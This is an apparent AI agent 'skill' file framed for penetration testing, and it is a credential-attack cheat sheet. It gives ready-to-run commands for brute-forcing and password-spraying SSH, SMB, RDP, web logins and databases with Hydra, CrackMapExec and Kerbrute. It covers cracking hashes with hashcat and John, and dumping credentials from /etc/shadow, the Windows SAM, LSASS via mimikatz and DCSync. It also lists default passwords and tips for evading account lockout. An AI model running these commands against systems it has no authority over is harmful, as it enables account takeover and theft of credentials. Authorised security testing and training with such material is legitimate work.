credential-attacks

name	Credential Attacks
description	This skill should be used when the user asks about "password cracking", "brute force", "hydra", "hashcat", "john", "credential stuffing", "password spraying", or needs guidance on credential-based attacks.
version	1.0.0

Credential Attacks Skill

Overview

Techniques for discovering, cracking, and using credentials in penetration testing.

Online Attacks (Brute Force)

Hydra

# SSH
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ssh://<TARGET>
hydra -L users.txt -P passwords.txt ssh://<TARGET>

# FTP
hydra -l <USER> -P /usr/share/wordlists/rockyou.txt ftp://<TARGET>

# HTTP Basic Auth
hydra -l admin -P passwords.txt <TARGET> http-get /admin

# HTTP POST Form
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP POST with cookies
hydra -l admin -P passwords.txt <TARGET> http-post-form \
    "/login:username=^USER^&password=^PASS^:F=Invalid:H=Cookie: session=abc123"

# SMB
hydra -l Administrator -P passwords.txt smb://<TARGET>

# RDP
hydra -l Administrator -P passwords.txt rdp://<TARGET>

# MySQL
hydra -l root -P passwords.txt mysql://<TARGET>

# MSSQL
hydra -l sa -P passwords.txt mssql://<TARGET>

Medusa

# SSH
medusa -h <TARGET> -u <USER> -P passwords.txt -M ssh

# FTP
medusa -h <TARGET> -u <USER> -P passwords.txt -M ftp

CrackMapExec

# SMB password spray
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success

# Multiple passwords
crackmapexec smb <TARGET> -u users.txt -p passwords.txt --continue-on-success

# With hashes
crackmapexec smb <TARGET> -u users.txt -H hashes.txt

Kerbrute (Kerberos)

# Password spray (no lockout)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'

# Brute force single user
kerbrute bruteuser -d <DOMAIN> --dc <TARGET> passwords.txt <USER>

Offline Attacks (Hash Cracking)

Identify Hash Type

# Hashid
hashid '<HASH>'

# Hash-identifier
hash-identifier

# Common hash lengths:
# 32 chars = MD5, NTLM
# 40 chars = SHA1
# 64 chars = SHA256
# 128 chars = SHA512

Hashcat

# NTLM (Windows)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# NTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberoast (TGS)
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt

# AS-REP Roast
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

# MD5
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA1
hashcat -m 100 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256
hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt

# MD5 Crypt ($1$)
hashcat -m 500 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA512 Crypt ($6$)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

# WPA/WPA2
hashcat -m 22000 capture.hc22000 /usr/share/wordlists/rockyou.txt

Hashcat Modes Reference:

Mode	Hash Type
0	MD5
100	SHA1
500	md5crypt ($1$)
1000	NTLM
1400	SHA256
1800	sha512crypt ($6$)
3200	bcrypt
5600	NTLMv2
13100	Kerberos TGS-REP
18200	Kerberos AS-REP

Hashcat Attack Modes:

# Dictionary
hashcat -a 0 -m <mode> hashes.txt wordlist.txt

# Dictionary + Rules
hashcat -a 0 -m <mode> hashes.txt wordlist.txt -r rules/best64.rule

# Combinator (word1+word2)
hashcat -a 1 -m <mode> hashes.txt wordlist1.txt wordlist2.txt

# Brute Force (mask)
hashcat -a 3 -m <mode> hashes.txt ?a?a?a?a?a?a

# Hybrid (wordlist + mask)
hashcat -a 6 -m <mode> hashes.txt wordlist.txt ?d?d?d?d

John the Ripper

# Auto-detect
john hashes.txt

# Specific format
john --format=raw-md5 hashes.txt
john --format=nt hashes.txt
john --format=krb5tgs hashes.txt

# With wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# With rules
john --wordlist=wordlist.txt --rules hashes.txt

# Show cracked
john --show hashes.txt

# Unshadow (Linux)
unshadow /etc/passwd /etc/shadow > unshadowed.txt
john unshadowed.txt

Password Extraction

Linux

# /etc/shadow format
# user:$6$salt$hash:lastchange:min:max:warn:inactive:expire:

# Extract hashes
cat /etc/shadow | grep '\$'

# Unshadow for cracking
unshadow /etc/passwd /etc/shadow > hashes.txt

Windows

# Dump SAM (requires SYSTEM)
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system

# Extract with secretsdump
secretsdump.py -sam sam -system system LOCAL

# LSASS dump
mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit

# DCSync
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>

Database

# MySQL
SELECT user, authentication_string FROM mysql.user;

# PostgreSQL
SELECT usename, passwd FROM pg_shadow;

# MSSQL
SELECT name, password_hash FROM sys.sql_logins;

Wordlist Generation

CeWL (Custom Wordlist)

# Generate from website
cewl -d 2 -m 5 http://<TARGET> -w wordlist.txt

# With email extraction
cewl -d 2 -m 5 -e http://<TARGET> -w wordlist.txt

Crunch

# Generate all 8-char passwords
crunch 8 8 -o wordlist.txt

# With character set
crunch 6 8 abc123 -o wordlist.txt

# Pattern-based (@ = lowercase, , = uppercase, % = numbers, ^ = symbols)
crunch 8 8 -t @@@@%%%% -o wordlist.txt

Username Generation

# From name list
# John Smith -> jsmith, john.smith, smithj, j.smith
# Tools: namemash.py, username-anarchy

Default Credentials

Common Pairs

Service	Username	Password
SSH	root	root, toor, password
MySQL	root	root, (empty)
PostgreSQL	postgres	postgres
Tomcat	admin	admin, tomcat
Jenkins	admin	admin, password
WordPress	admin	admin, password
phpMyAdmin	root	root, (empty)
Router	admin	admin, password

Resources

• https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials
• https://cirt.net/passwords
• https://www.defaultpassword.com/

Wordlists Reference

Wordlist	Location	Use Case
rockyou.txt	/usr/share/wordlists/	General cracking
common.txt	/usr/share/wordlists/dirb/	Web brute force
names.txt	SecLists/Usernames/	Username enum
10k-most-common	SecLists/Passwords/	Quick spray
top-passwords	SecLists/Passwords/	Targeted attack

Tips

Avoid Lockouts

• Check lockout policy first
• Use Kerbrute for AD (doesn't trigger lockouts on pre-auth)
• Low and slow (add delays)
• Password spray (one password, many users)

Password Patterns

# Common patterns to try:
SeasonYear!     # Summer2024!
CompanyName123  # Acme123
MonthYear       # January2024
Welcome1
Password1
P@ssw0rd

Rule-Based Attack

# Best rules for hashcat:
# OneRuleToRuleThemAll.rule
# best64.rule
# d3ad0ne.rule
# rockyou-30000.rule

hashcat -m 1000 hashes.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule